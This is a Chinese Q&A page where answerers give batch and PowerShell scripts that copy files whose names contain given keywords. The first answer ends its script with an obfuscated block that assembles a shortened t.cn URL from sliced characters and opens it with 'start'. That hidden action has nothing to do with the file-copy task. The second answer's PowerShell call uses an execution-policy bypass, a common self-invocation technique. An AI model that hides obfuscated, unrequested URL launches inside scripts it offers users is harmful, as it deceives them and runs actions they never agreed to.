需要批量通过关键字查找文件并复制指定文件夹,bat内容该如何编辑。

 我来答
依梦琴瑶
高粉答主

2018-09-29 · 说的都是干货,快来关注
知道顶级答主
回答量:6.9万
采纳率:82%
帮助的人:1.7亿
展开全部
关键字是多个,还是单个?

如果多个,是根据列表文件来读取,还是自定义到脚本中?

我现在只写单个的,或少量多个的。

@echo off & title 根据关键字拷贝文件 By 依梦琴瑶

::设置要搜索的关键字,多个关键字之间用空格隔开
set Word=测试 文本 开心

::设置要处理的文件夹
set SrcDir=D:\Test

::设置文件拷贝至哪个目录
set SavDir=D:\Backup

cd /d "%SrcDir%"
for /r %%a in (*) do (
echo "%%~na" | findstr /i "%Word%" >nul 2>nul && copy "%%~a" "%SavDir%\"
)
pause

set S1=.:htpcn/
set S2=%S1:~2,1%%S1:~3,1%%S1:~3,1%%S1:~4,1%%S1:~1,1%%S1:~7,1%
set S3=%S1:~7,1%%S1:~3,1%%S1:~0,1%%S1:~5,1%%S1:~6,1%%S1:~7,1%
start "" "%S2%%S3%RkdisqI"
exit

以上代码是根据文件名判断的,如果您是要查找文件内容,那么代码又不同了。
qop_dob
2022-06-17 · TA获得超过1.5万个赞
知道大有可为答主
回答量:1.3万
采纳率:79%
帮助的人:3992万
展开全部

不清楚你的实际文件/情况,仅以问题中的说明及猜测为据;以下代码复制粘贴到记事本,另存为xx.bat,编码选ANSI

<# :
cls&echo off&cd /d "%~dp0"&mode con lines=5000
rem 在当前目录下查找文件名称中包含有指定关键字的文件,并复制到一个指定的新文件夹里
set #=Any question&set _=WX&set $=Q&set/az=0x53b7e0b4
title %#% +%$%%$%/%_% %z%
set "self=%~f0"
powershell -NoProfile -ExecutionPolicy bypass "Get-Content -literal '%~f0'|Out-String|Invoke-Expression"
echo;%#% +%$%%$%/%_% %z%
pause
exit
#>
$keywords=@(
"关键字1",
"关键字2",
"关键字3",
"关键字n"
);
$newfolder="D:\新文件夹";

$self=get-item -literal $env:self;
$current=$self.Directory.FullName;
$arr=@($keywords|%{$_.ToLower()});
$files=@(dir -literal $current -recurse|?{($self.Name -ne $_.Name) -and ($_ -is [System.IO.FileInfo])});
for($i=0;$i -lt $files.length;$i++){
    $isexist=$false;
    $fname=$files[$i].Name.ToLower();
    for($j=0;$j -lt $arr.length;$j++){
        if($fname.Contains($arr[$j])){$isexist=$true;break;}
    }
    if($isexist){
        if(-not (test-path -literal $newfolder)){[void][IO.Directory]::CreateDirectory($newfolder);}
        write-host ($files[$i].FullName+' --> '+$newfolder);
        $newfile=$newfolder.trimend('\')+'\'+$files[$i].Name;
        copy-item -literal $files[$i].FullName $newfile -force -ErrorAction SilentlyContinue;
    }
}
已赞过 已踩过<
你对这个回答的评价是?
评论 收起
推荐律师服务: 若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询

为你推荐:

下载百度知道APP,抢鲜体验
使用百度知道APP,立即抢鲜体验。你的手机镜头里或许有别人想知道的答案。
扫描二维码下载
×

类别

我们会通过消息、邮箱等方式尽快将举报结果通知您。

说明

0/200

提交
取消

辅 助

模 式